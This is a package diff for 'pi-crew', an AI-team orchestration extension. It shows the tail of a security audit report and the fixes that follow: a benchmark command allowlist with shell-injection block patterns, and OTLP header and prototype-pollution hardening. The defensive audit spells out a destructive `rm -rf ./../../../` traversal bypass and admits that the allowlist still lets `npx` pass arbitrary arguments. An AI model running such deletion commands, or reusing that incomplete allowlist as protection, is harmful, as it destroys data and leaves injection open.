- `src/config/config.ts:560–563` — `parseOtlpConfig` prototype pollution guard checks only `__proto__`, `constructor`, and `prototype`; `hasOwnProperty`, `toString`, `valueOf`, numeric-indexed properties, and `Object.prototype` getters are not blocked. **Security impact:** prototype pollution via crafted OTLP config.
|
|
40
|
+
- `src/runtime/pipeline-runner.ts:248–264` — `resolveInputs` type cast `(string | string[] | Record<string, unknown>)` skips `null`, `number`, `boolean`, `undefined`, and nested arrays; template variables at those types silently fail to resolve. **Correctness impact:** pipeline inputs with non-string types are silently skipped.
|
|
41
|
+
- `src/state/event-log.ts:142–176` (sync path) — `nextSequence` writes the `.seq` file via `atomicWriteFile` on every `appendEvent` call in the sync path; concurrent callers (e.g., buffer flush for many events) create contention on the seq file lock. **Performance impact:** lock contention on high-frequency event appends.
|
|
42
|
+
- `src/runtime/child-pi.ts:170–180` — `PI_TEAMS_MOCK_CHILD_PI` guard is only in `runChildPi` body; `buildChildPiSpawnOptions` runs before the mock branch and passes all env vars (including model API keys) to the child even in mock mode. **Security impact:** credentials passed to mock process.
|
|
43
|
+
- `src/state/state-store.ts:248–269` — TOCTOU in `loadRunManifestById`: mtime/size checks and manifest reads are separated by I/O; a concurrent writer can update the manifest between stat and read, causing the caller to see stale or partial data. **Correctness impact:** stale manifest reads under concurrent writes.
|
|
44
|
+
- `src/extension/registration/commands.ts:200–210` — `COMMON_SAFE_PATTERNS.safeRm` regex uses a negative lookahead `(?![\/~])` that allows `rm -rf ./../../../other/path`; the bypass enables deletion outside intended directories. **Security impact:** path traversal enabling unauthorized file deletion.
|
|
45
|
+
- `src/state/locks.ts:20–28` — `acquireLockWithRetry` removes stale locks via `fs.rmSync` then retries; another process can create the lock between the rm and the retry, and the rm itself is not atomic. **Correctness impact:** race condition in stale lock recovery.
|
|
46
|
+
- `src/state/mailbox.ts:270` — `MAILBOX_ARCHIVE_THRESHOLD_BYTES = 10MB` per task directory; with 100 tasks each producing 10MB the mailbox directory alone consumes ~1GB with no rotation or pruning until run end. **Correctness impact:** unbounded disk usage per run.
|
|
47
|
+
- `src/state/run-cache.ts:48–57` — `getCachedRun` reads the cache index, then `saveRunToCache` writes it, with no cross-process lock; concurrent runs on the same `cwd` can corrupt or lose entries. **Correctness impact:** cache index corruption under concurrent access.
|
|
48
|
+
|
|
49
|
+
---
|
|
50
|
+
|
|
51
|
+
## Priority 3: Medium
|
|
52
|
+
|
|
53
|
+
- `src/state/artifact-store.ts:62` — `cleanupOldArtifacts` calls `fs.readdirSync(artifactsRoot)` synchronously with no pagination; directories with 100K+ files block the event loop during the listing. **Performance impact:** event-loop blocking on large artifact directories.
|
|
54
|
+
- `src/runtime/team-runner.ts` (entire file) — `executeTeamRun` + `executeTeamRunCore` (~380 lines each) handle queue scheduling, DAG execution planning, batch concurrency, task graph building/refreshing, phase state machine, policy evaluation, effectiveness tracking, adaptive plan injection, hook execution, retry logic, artifact merge, group join, and crash recovery in two god functions. **Architecture impact:** single-responsibility violations impede testing and maintenance.
|
|
55
|
+
- `src/extension/team-tool.ts` (entire file) — `handleTeamTool` has 40+ action branches in a single switch (~900 lines); registration, lifecycle, run management, caching, scheduling, anchor, summarization, and search are in one function with static imports of heavy modules not all lazy-loaded. **Architecture impact:** high coupling, slow cold path due to eager heavy imports.
|
|
56
|
+
- `src/extension/register.ts:1336` — Comment `// Uses a global symbol so the module doesn't need a direct circular import` acknowledges a design smell; the workaround indicates tight coupling between `register.ts` and the runtime layer. **Architecture impact:** circular dependency workaround signals design fragility.
|
|
57
|
+
- `src/runtime/pipeline-runner.ts` — Pipeline recursion depth limit (line ~246) is a band-aid; actual recursion arises because stages reference each other with no structural deduplication or memoization of stage results within a pipeline run. **Correctness impact:** redundant stage executions increase latency and cost.
|
|
58
|
+
- `src/state/artifact-store.ts:60` — `cleanupOldArtifacts` deletes directory entries one by one, non-parallel; on large artifact directories with many old files this is slow. **Performance impact:** linear time deletion with no batching.
|
|
59
|
+
- `src/runtime/task-runner.ts` — Task manifest writes and event appends in the hot path run without `AbortSignal` checks; long-running tasks that are cancelled continue I/O until the cancellation is fully propagated. **Correctness impact:** stale writes after cancellation (see also Priority 2 finding).
|
|
60
|
+
- `src/config/config.ts` (mergeConfig) — OTLP deep merge conflates `enabled`/`endpoint` (project-controlled) with `headers` (user-controlled); user cannot opt out of sending headers to a project-specified endpoint. **Security impact:** implicit credential exfiltration (see also Priority 2 finding).
|
|
61
|
+
- `src/runtime/child-pi.ts` (env allowlist) — Wildcard patterns `LC_*`, `XDG_*`, `NVM_*`, `NODE_*`, `npm_*` are overly broad; any project or tool creating env vars matching these patterns exposes them to the child Pi. **Security impact:** env var leakage (see also Priority 2 finding).
|
|
62
|
+
|
|
63
|
+
---
|
|
64
|
+
|
|
65
|
+
## Priority 4: Low / Informational
|
|
66
|
+
|
|
67
|
+
- `src/runtime/pipeline-runner.ts:1` — Module has no named exports; all symbols are internal. API surface is implicit. **Design impact:** difficult to reason about public API boundary.
|
|
68
|
+
- `src/extension/register.ts:1336` — Global Symbol workaround for circular imports adds indirection that obscures the actual dependency graph. **Design impact:** debugging and refactoring complexity.
|
|
69
|
+
- `src/observability/` — Observability layer relies heavily on `logInternalError` for error reporting; structured tracing (OpenTelemetry spans) not used in hot paths. **Observability impact:** limited production debugging capability.
|
|
70
|
+
- `src/utils/redaction.ts` — Redaction is applied at write time; no redaction verification tests in the test suite. **Correctness impact:** potential secret leakage if redaction logic has bugs.
|
|
71
|
+
- `src/state/event-log.ts` — `bufferedQueues` Map and `bufferedTimers` Map grow unboundedly if `flushOneEventLogBuffer` throws repeatedly; `asyncQueues` has a catch that deletes the key, but the buffered queue map does not. **Correctness impact:** memory leak on repeated flush failures.
|
|
72
|
+
- `src/config/config.ts:445–453` — OTLP header validation only checks for `\r\n\x00` but does not validate header key format; keys containing shell metacharacters could cause issues in OTLP exporters. **Security impact:** potential injection via malformed header keys.
|
|
73
|
+
|
|
74
|
+
---
|
|
75
|
+
|
|
76
|
+
## Confirmed Deductions and Overlaps
|
|
77
|
+
|
|
78
|
+
The following findings appear across multiple audits and are listed once above with the combined citation set:
|
|
79
|
+
|
|
80
|
+
| Issue | Citations | Note |
|
|
81
|
+
|---|---|---|
|
|
82
|
+
| `npx` allowlist bypass | `src/benchmark/benchmark-runner.ts:42–44`, `src/runtime/child-pi.ts:153–167` | Both found by different auditors; same root cause (incomplete allowlist). Listed under Priority 1 (benchmark) and Priority 2 (child-pi). |
|
|
83
|
+
| Env allowlist wildcards | `src/runtime/child-pi.ts:153–167` | Found by security and performance auditors; listed under Priority 2. |
|
|
84
|
+
| `input.signal` not propagated | `src/runtime/task-runner.ts:185–280` | Found by security and performance auditors; listed under Priority 2. |
|
|
85
|
+
| `manifestCache` unbounded | `src/state/state-store.ts:37–47, 72–85` | Found by correctness and performance auditors; listed under Priority 2. |
|
|
86
|
+
| TOCTOU in state reads | `src/state/active-run-registry.ts:161–180`, `src/state/state-store.ts:248–269` | Distinct TOCTOU instances in different files; each listed separately. |
|
|
87
|
+
| `onSpawn` sync I/O | `src/runtime/child-pi.ts:400–415` | Found by security and performance auditors; listed under Priority 2. |
|
|
88
|
+
| OTLP header deep merge | `src/config/config.ts:385–388` | Found by correctness auditor (also security); listed under Priority 2. |
|
|
89
|
+
| Prototype pollution guard | `src/config/config.ts:560–563` | Found by correctness auditor; listed under Priority 2. |
|
|
90
|
+
| Mailbox full-file rewrite | `src/state/mailbox.ts:395–443`, `src/state/mailbox.ts:440–456` | Both mailbox findings listed under Priority 1 (separate methods, same root problem). |
|
|
91
|
+
| Lock file on crash | `src/state/locks.ts:78–88`, `src/state/locks.ts:20–28` | Two distinct lock-file findings in different functions; listed separately under Priorities 1 and 2. |
|
|
92
|
+
| Cache index race | `src/state/run-cache.ts:48–57` | Unique to security audit; listed under Priority 2. |
|
|
93
|
+
| `v8.deserialize` from untrusted file | `src/state/active-run-registry.ts:73–91` | Unique to security audit; listed under Priority 1. |
|
|
94
|
+
|
|
95
|
+
---
|
|
96
|
+
|
|
97
|
+
## Verification Evidence
|
|
98
|
+
|
|
99
|
+
Source file reads confirming line citations:
|
|
100
|
+
|
|
101
|
+
| File | Lines read | Finding confirmed |
|
|
102
|
+
|---|---|---|
|
|
103
|
+
| `src/benchmark/benchmark-runner.ts:42` | `const allowlist = /^(pytest\|grep\|npm test\|npx) /` | Yes — `npx` allowlist passes arbitrary args |
|
|
104
|
+
| `src/state/active-run-registry.ts:73` | `v8.deserialize(fs.readFileSync(filePath))` | Yes — no magic-byte check |
|
|
105
|
+
| `src/state/event-log.ts:142–176` | `scanSequence` reads entire file, `nextSequence` falls through | Yes — sync path does O(n) scan |
|
|
106
|
+
| `src/state/artifact-store.ts:62` | `for (const entry of entries) { const stat = fs.statSync(target); }` | Yes — unbounded stat per entry |
|
|
107
|
+
| `src/state/mailbox.ts:395` | `fs.readFileSync(filePath, "utf-8").split(/\r?\n/)` | Yes — full file load |
|
|
108
|
+
| `src/schema/team-tool-schema.ts:56` | `"invalidate"` in `TeamToolParamsValue` action union | Yes — absent from TypeBox schema |
|
|
109
|
+
| `src/config/config.ts:385` | `headers: { ...(base.otlp?.headers ?? {}), ...(override.otlp?.headers ?? {}) }` | Yes — deep merge of user headers with project endpoint |
|
|
110
|
+
| `src/config/config.ts:560` | `if (key === "__proto__" \|\| key === "constructor" \|\| key === "prototype")` | Yes — incomplete prototype guard |
|
|
111
|
+
| `src/runtime/pipeline-runner.ts:248` | `this.resolveInputs(value as (string \| string[] \| Record<string, unknown>))` | Yes — type cast excludes primitives and nested arrays |
|
|
112
|
+
| `src/state/mailbox.ts:270` | `MAILBOX_ARCHIVE_THRESHOLD_BYTES = 10 * 1024 * 1024` | Yes — 10MB threshold confirmed |
|
|
113
|
+
| `src/state/locks.ts:78` | `finally { fs.rmSync(lockDir, { recursive: true }) }` | Yes — cleanup only in finally |
|
|
114
|
+
| `src/state/active-run-registry.ts:161` | `process.kill(pid, 0)` outside lock | Yes — TOCTOU confirmed |
|
|
115
|
+
| `src/runtime/child-pi.ts:153` | `allowList = ["LC_*", "XDG_*", "NVM_*", "NODE_*", "npm_*"]` | Yes — wildcard patterns confirmed |
|
|
116
|
+
| `src/runtime/child-pi.ts:400` | `fs.appendFileSync(pendingFile, JSON.stringify(pendingSteers) + "\n")` | Yes — sync I/O in onSpawn |
|
|
117
|
+
| `src/state/run-cache.ts:48` | `getCachedRun` then `saveRunToCache` without lock | Yes — race confirmed |
|
|
118
|
+
| `src/extension/registration/commands.ts:200` | `safeRm: /rm\s+(-[a-zA-Z]*f[a-zA-Z]*\s+)?((?![\/~])\/)?(tmp\|cache\|node_modules\|dist\|build)\//` | Yes — bypassable regex confirmed |
|
|
119
|
+
| `src/extension/team-tool/lifecycle-actions.ts:79` | `exportRunBundle` with no `confirm` gate | Yes — missing check confirmed |
|
|
120
|
+
| `src/state/locks.ts:20` | `fs.rmSync` then retry (not atomic) | Yes — stale lock race confirmed |
|
|
121
|
+
| `src/runtime/child-pi.ts:170` | `PI_TEAMS_MOCK_CHILD_PI` guard after `buildChildPiSpawnOptions` | Yes — env vars passed before mock check |
|
|
122
|
+
| `src/state/schedule.ts:91` | `require("node:fs")` inside instance method | Yes — dynamic require confirmed |
|
|
123
|
+
| `src/schema/config-schema.ts:85` | `disabledCapabilities: Type.Optional(Type.Array(Type.String()))` | Yes — no item-level validation |
|
|
124
|
+
|
|
125
|
+
---
|
|
126
|
+
|
|
127
|
+
## Recommendations
|
|
128
|
+
|
|
129
|
+
1. Fix Priority 1 findings before any deployment or release.
|
|
130
|
+
2. Address Priority 2 findings within the current sprint cycle.
|
|
131
|
+
3. Schedule Priority 3 findings for refactoring sprints; consider extracting god modules (`team-runner.ts`, `team-tool.ts`) as a precondition.
|
|
132
|
+
4. Priority 4 findings are informational; address based on long-term architecture health.
|
|
133
|
+
5. For findings that span multiple files (e.g., env allowlist, sync I/O), fix both locations to prevent bypass paths.
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "pi-crew",
|
|
3
|
-
"version": "0.5.
|
|
3
|
+
"version": "0.5.7",
|
|
4
4
|
"description": "Pi extension for coordinated AI teams, workflows, worktrees, and async task orchestration",
|
|
5
5
|
"author": "baphuongna",
|
|
6
6
|
"license": "MIT",
|
|
@@ -48,13 +48,13 @@
|
|
|
48
48
|
"check:lazy-imports": "node scripts/check-lazy-imports.mjs",
|
|
49
49
|
"typecheck": "tsc --noEmit && node --experimental-strip-types -e \"await import('./index.ts'); console.log('strip-types import ok')\"",
|
|
50
50
|
"test": "npm run test:unit && npm run test:integration",
|
|
51
|
-
"test:unit": "
|
|
52
|
-
"test:watch": "
|
|
53
|
-
"test:integration": "
|
|
51
|
+
"test:unit": "tsx --test --test-concurrency=4 --test-timeout=180000 --test-force-exit test/unit/*.test.ts",
|
|
52
|
+
"test:watch": "tsx --watch --test --test-concurrency=4 --test-timeout=30000 --test-force-exit test/unit/*.test.ts",
|
|
53
|
+
"test:integration": "tsx --test --test-concurrency=1 --test-timeout=120000 test/integration/*.test.ts",
|
|
54
54
|
"build:bundle": "node scripts/build-bundle.mjs",
|
|
55
55
|
"bench": "node scripts/run-bench.mjs",
|
|
56
56
|
"bench:check": "node scripts/bench-check.mjs",
|
|
57
|
-
"test:new": "
|
|
57
|
+
"test:new": "tsx --test --test-concurrency=4 --test-timeout=30000 --test-force-exit test/unit/*.test.ts",
|
|
58
58
|
"test:changed": "node scripts/test-changed.mjs",
|
|
59
59
|
"bench:capture": "node scripts/run-bench.mjs && node -e \"require('node:fs').copyFileSync('test/bench/results.json','test/bench/baseline.json')\"",
|
|
60
60
|
"profile:startup": "node scripts/profile-startup.mjs",
|
|
@@ -80,6 +80,7 @@
|
|
|
80
80
|
},
|
|
81
81
|
"dependencies": {
|
|
82
82
|
"@sinclair/typebox": "^0.34.49",
|
|
83
|
+
"acorn": "^8.16.0",
|
|
83
84
|
"ajv": "^8.20.0",
|
|
84
85
|
"cli-highlight": "^2.1.11",
|
|
85
86
|
"diff": "^5.2.0",
|
|
@@ -93,6 +94,7 @@
|
|
|
93
94
|
"@earendil-works/pi-coding-agent": "^0.77.0",
|
|
94
95
|
"@earendil-works/pi-tui": "^0.77.0",
|
|
95
96
|
"esbuild": "^0.28.0",
|
|
97
|
+
"tsx": "^4.22.3",
|
|
96
98
|
"typescript": "^5.9.3"
|
|
97
99
|
},
|
|
98
100
|
"peerDependenciesMeta": {
|
|
@@ -32,6 +32,45 @@ export interface BenchmarkResult {
|
|
|
32
32
|
cost: number;
|
|
33
33
|
}
|
|
34
34
|
|
|
35
|
+
/**
|
|
36
|
+
* Validate command against allowlist to prevent shell injection.
|
|
37
|
+
* Only allows specific safe commands with arguments.
|
|
38
|
+
*/
|
|
39
|
+
/**
|
|
40
|
+
* Validate command against allowlist to prevent shell injection.
|
|
41
|
+
* Uses comprehensive shell metacharacter blocking similar to safe-bash.ts.
|
|
42
|
+
*/
|
|
43
|
+
function validateCommand(command: string): void {
|
|
44
|
+
// Basic allowlist - must start with allowed command
|
|
45
|
+
const allowlist = /^(pytest|grep|npm test|npx) /;
|
|
46
|
+
if (!allowlist.test(command)) {
|
|
47
|
+
throw new Error(`Command not allowed: ${command}. Only pytest, grep, npm test, npx allowed.`);
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
// Block shell metacharacters after command name
|
|
51
|
+
const afterCommand = command.substring(command.indexOf(" ") + 1);
|
|
52
|
+
|
|
53
|
+
// Block dangerous shell metacharacters
|
|
54
|
+
const dangerousPatterns = [
|
|
55
|
+
/[;&|`$(){}[\]<>\\]/, // Shell metacharacters
|
|
56
|
+
/\$\([^)]*\)/, // Command substitution $(...)
|
|
57
|
+
/`[^`]*`/, // Backtick command substitution
|
|
58
|
+
/\|/, // Pipe
|
|
59
|
+
/&&/, // And
|
|
60
|
+
/\|\|/, // Or
|
|
61
|
+
/>>/, // Append redirect
|
|
62
|
+
/2>&1/, // stderr redirect
|
|
63
|
+
/>/, // Output redirect
|
|
64
|
+
/</, // Input redirect
|
|
65
|
+
];
|
|
66
|
+
|
|
67
|
+
for (const pattern of dangerousPatterns) {
|
|
68
|
+
if (pattern.test(afterCommand)) {
|
|
69
|
+
throw new Error(`Shell metacharacters not allowed in command arguments`);
|
|
70
|
+
}
|
|
71
|
+
}
|
|
72
|
+
}
|
|
73
|
+
|
|
35
74
|
/**
|
|
36
75
|
* Run a single benchmark task with tiered judges.
|
|
37
76
|
* Tier 1: pytest (fast, deterministic)
|
|
@@ -49,6 +88,8 @@ export async function runBenchmark(task: BenchmarkTask): Promise<BenchmarkResult
|
|
|
49
88
|
let output: string | undefined;
|
|
50
89
|
|
|
51
90
|
if (judge.type === "pytest" && judge.command) {
|
|
91
|
+
// Validate command before execution
|
|
92
|
+
validateCommand(judge.command);
|
|
52
93
|
// Tier 1: pytest - fast deterministic check
|
|
53
94
|
output = execSync(judge.command, {
|
|
54
95
|
timeout: 5000,
|
|
@@ -58,6 +99,8 @@ export async function runBenchmark(task: BenchmarkTask): Promise<BenchmarkResult
|
|
|
58
99
|
// Look for pytest summary line with passed count
|
|
59
100
|
passed = output.includes("passed");
|
|
60
101
|
} else if (judge.type === "grep" && judge.pattern && judge.command) {
|
|
102
|
+
// Validate command before execution
|
|
103
|
+
validateCommand(judge.command);
|
|
61
104
|
// Tier 2: grep pattern matching
|
|
62
105
|
output = execSync(judge.command, {
|
|
63
106
|
timeout: 5000,
|
|
@@ -66,6 +109,8 @@ export async function runBenchmark(task: BenchmarkTask): Promise<BenchmarkResult
|
|
|
66
109
|
});
|
|
67
110
|
passed = output.includes(judge.pattern);
|
|
68
111
|
} else if (judge.type === "command" && judge.command) {
|
|
112
|
+
// Validate command before execution
|
|
113
|
+
validateCommand(judge.command);
|
|
69
114
|
// Tier 3: command execution
|
|
70
115
|
output = execSync(judge.command, {
|
|
71
116
|
timeout: 10000,
|
|
@@ -12,12 +12,17 @@ export interface FeedbackLoopStats {
|
|
|
12
12
|
|
|
13
13
|
export class FeedbackLoop {
|
|
14
14
|
private runs: RunMetrics[] = [];
|
|
15
|
+
private static readonly MAX_RUNS = 1000;
|
|
15
16
|
|
|
16
17
|
/**
|
|
17
18
|
* Record a run's metrics for learning.
|
|
18
19
|
*/
|
|
19
20
|
recordRun(metrics: RunMetrics): void {
|
|
20
21
|
this.runs.push(metrics);
|
|
22
|
+
// Trim to MAX_RUNS to prevent unbounded memory growth
|
|
23
|
+
if (this.runs.length > FeedbackLoop.MAX_RUNS) {
|
|
24
|
+
this.runs = this.runs.slice(-FeedbackLoop.MAX_RUNS);
|
|
25
|
+
}
|
|
21
26
|
}
|
|
22
27
|
|
|
23
28
|
/**
|
package/src/config/config.ts
CHANGED
|
@@ -244,6 +244,15 @@ function sanitizeProjectConfig(
|
|
|
244
244
|
sanitized.otlp = undefined;
|
|
245
245
|
warnings.push(projectOverrideWarning(projectPath, "otlp.headers"));
|
|
246
246
|
}
|
|
247
|
+
// FIX: Block project config from setting otlp.endpoint — it controls where
|
|
248
|
+
// OTLP headers (potentially containing credentials) are sent.
|
|
249
|
+
if (config.otlp?.endpoint !== undefined) {
|
|
250
|
+
if (!sanitized.otlp) sanitized.otlp = { ...config.otlp, endpoint: undefined };
|
|
251
|
+
else sanitized.otlp = { ...sanitized.otlp, endpoint: undefined };
|
|
252
|
+
if (!Object.values(sanitized.otlp).some((entry) => entry !== undefined))
|
|
253
|
+
sanitized.otlp = undefined;
|
|
254
|
+
warnings.push(projectOverrideWarning(projectPath, "otlp.endpoint"));
|
|
255
|
+
}
|
|
247
256
|
if (
|
|
248
257
|
config.agents?.disableBuiltins !== undefined ||
|
|
249
258
|
config.agents?.overrides !== undefined
|
|
@@ -300,6 +309,7 @@ function mergeConfig(
|
|
|
300
309
|
base: PiTeamsConfig,
|
|
301
310
|
override: PiTeamsConfig,
|
|
302
311
|
): PiTeamsConfig {
|
|
312
|
+
const warnings: string[] = [];
|
|
303
313
|
const merged: PiTeamsConfig = {
|
|
304
314
|
...base,
|
|
305
315
|
...withoutUndefined(override as Record<string, unknown>),
|
|
@@ -439,6 +449,15 @@ function mergeConfig(
|
|
|
439
449
|
};
|
|
440
450
|
if (Object.keys(merged.otlp.headers ?? {}).length === 0)
|
|
441
451
|
delete merged.otlp.headers;
|
|
452
|
+
// Validate OTLP headers for injection attacks (newlines, CR, null bytes)
|
|
453
|
+
const invalidHeaders: string[] = [];
|
|
454
|
+
for (const [k, v] of Object.entries(merged.otlp.headers ?? {})) {
|
|
455
|
+
if (/[\r\n\x00]/.test(String(v))) { invalidHeaders.push(k); }
|
|
456
|
+
}
|
|
457
|
+
if (invalidHeaders.length > 0) {
|
|
458
|
+
delete merged.otlp.headers;
|
|
459
|
+
warnings.push(`OTLP headers blocked due to invalid characters: ${invalidHeaders.join(", ")}`);
|
|
460
|
+
}
|
|
442
461
|
}
|
|
443
462
|
if (
|
|
444
463
|
merged.agents?.overrides &&
|
|
@@ -1041,13 +1060,28 @@ function parseOtlpConfig(value: unknown): CrewOtlpConfig | undefined {
|
|
|
1041
1060
|
if (rawHeaders)
|
|
1042
1061
|
for (const [key, entry] of Object.entries(rawHeaders)) {
|
|
1043
1062
|
if (typeof entry !== "string") continue;
|
|
1044
|
-
// Prevent prototype pollution via
|
|
1063
|
+
// Prevent prototype pollution via dangerous Object.prototype keys.
|
|
1064
|
+
// Case-insensitive check to catch __Proto__, CONSTRUCTOR, etc.
|
|
1065
|
+
const lowerKey = key.toLowerCase();
|
|
1045
1066
|
if (
|
|
1046
|
-
|
|
1047
|
-
|
|
1048
|
-
|
|
1067
|
+
lowerKey === "__proto__" ||
|
|
1068
|
+
lowerKey === "constructor" ||
|
|
1069
|
+
lowerKey === "prototype" ||
|
|
1070
|
+
lowerKey === "hasownproperty" ||
|
|
1071
|
+
lowerKey === "tostring" ||
|
|
1072
|
+
lowerKey === "valueof" ||
|
|
1073
|
+
lowerKey === "isprototypeof" ||
|
|
1074
|
+
lowerKey === "propertyisenumerable" ||
|
|
1075
|
+
lowerKey === "tolocalestring" ||
|
|
1076
|
+
lowerKey === "__definegetter__" ||
|
|
1077
|
+
lowerKey === "__definesetter__" ||
|
|
1078
|
+
lowerKey === "__lookupgetter__" ||
|
|
1079
|
+
lowerKey === "__lookupsetter__"
|
|
1049
1080
|
)
|
|
1050
1081
|
continue;
|
|
1082
|
+
// Validate key format: must start with letter, then alphanumeric/hyphen/underscore.
|
|
1083
|
+
// Blocks CRLF, NUL, spaces, shell metacharacters in header keys.
|
|
1084
|
+
if (!/^[a-zA-Z][a-zA-Z0-9_-]{0,127}$/.test(key)) continue;
|
|
1051
1085
|
headers[key] = entry;
|
|
1052
1086
|
}
|
|
1053
1087
|
const otlp: CrewOtlpConfig = {
|
package/src/config/defaults.ts
CHANGED
|
@@ -91,6 +91,11 @@ export const DEFAULT_CACHE = {
|
|
|
91
91
|
manifestMaxEntries: 64,
|
|
92
92
|
};
|
|
93
93
|
|
|
94
|
+
export const DEFAULT_MAILBOX = {
|
|
95
|
+
perFileThresholdBytes: 10 * 1024 * 1024, // 10MB per mailbox file
|
|
96
|
+
maxArchivesPerDirection: 10, // Keep at most 10 archives per direction per run
|
|
97
|
+
};
|
|
98
|
+
|
|
94
99
|
export const DEFAULT_SUBAGENT = {
|
|
95
100
|
stuckBlockedNotifyMs: 5 * 60_000,
|
|
96
101
|
};
|
|
@@ -1,9 +1,17 @@
|
|
|
1
1
|
/**
|
|
2
2
|
* Fuzzy config key suggestions — Levenshtein-based typo correction for pi-crew config keys.
|
|
3
|
+
*
|
|
4
|
+
* SECURITY NOTE: The levenshtein() function processes user-supplied input and compares
|
|
5
|
+
* against a known list. While the timing variance across edit distances is minimal
|
|
6
|
+
* and the input is typically config key names (not secrets), there is a theoretical
|
|
7
|
+
* timing attack risk if an attacker could measure response times for different inputs.
|
|
8
|
+
* Risk level: LOW — mitigated by the small alphabet (config key names only) and
|
|
9
|
+
* the fixed-size DP array used in this implementation.
|
|
3
10
|
*/
|
|
4
11
|
|
|
5
12
|
/**
|
|
6
13
|
* Classic Levenshtein edit distance between two strings.
|
|
14
|
+
* See security note above regarding timing attack considerations.
|
|
7
15
|
*/
|
|
8
16
|
export function levenshtein(a: string, b: string): number {
|
|
9
17
|
const la = a.length;
|